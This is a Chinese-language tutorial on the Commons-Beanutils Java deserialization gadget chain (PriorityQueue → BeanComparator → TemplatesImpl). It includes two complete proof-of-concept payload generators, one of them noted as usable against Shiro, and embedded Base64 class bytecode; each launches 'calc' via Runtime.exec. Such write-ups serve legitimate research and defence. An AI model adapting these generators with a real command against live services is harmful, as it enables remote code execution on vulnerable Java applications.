一、了解Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
在Java中,有很多class的定义都符合这样的规范
若干private实例字段;
通过public方法来读写实例字段
举例子:比如定义一个User类
public class User {private String name;public String getName() {return name;}public void setName(String name) {this.name = name;}
}
就是包含了一个私有属性name,以及读取和设置这个属性的两个公开方法,定义为getter和setter。getter方法以get开头,setter方法以set开头。
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如:
PropertyUtils.getProperty(new User(), "name");
commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。
通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
二、漏洞原理
前面说到PropertyUtils.getProperty()会自动调用javaBean的get方法,这样就存在一个安全问题,如果get方法中存在任意命令执行的点,则存在安全问题。
在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其comparator的compare方法,进而调用了transform链的调用。而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。其中就用到了如下的BeanComparator这个类:
1.org.apache.commons.beanutils.BeanComparator#compare()——调用点
这里就调用到了我们上面说到的PropertyUtils.getProperty方法,而且property参数对我们是可控的,将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。
2.PropertyUtils.getProperty()
接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。
3.TemplatesImpl#getOutputProperties()——命令执行点
getOutputProperties方法调用了newTransformer方法,也正好可以构造字节码任意命令执行。
所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个TemplatesImpl 对象,而property 的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。
调用链如下:
PriorityQueue#readObject --> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> BeanComparator#compare() --> PropertyUtils.getProperty( o1, property )
回过头来分析下BeanComparator的构造器:
在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。
三、构造payload
1、依赖CC链
在上面对BeanComparator的构造器分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。
不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!
1.首先创建恶意的TemplateImpl:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
2.实例化BeanComparator
BeanComparator comparator = new BeanComparator();
3.实例化优先队列PriorityQueue
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);
4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
完整代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2,comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});// SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize("test.bin");}
}
2、不依赖CC链(shiro无依赖利用链)
前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。
对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。
存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator
我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。
//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});
完整代码:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;public class CB_withoutCC {public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(fieldname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});//创建比较器BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());PriorityQueue<Object> queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});//序列化ByteArrayOutputStream baor = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baor);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));//反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object o = ois.readObject();baor.close();}
}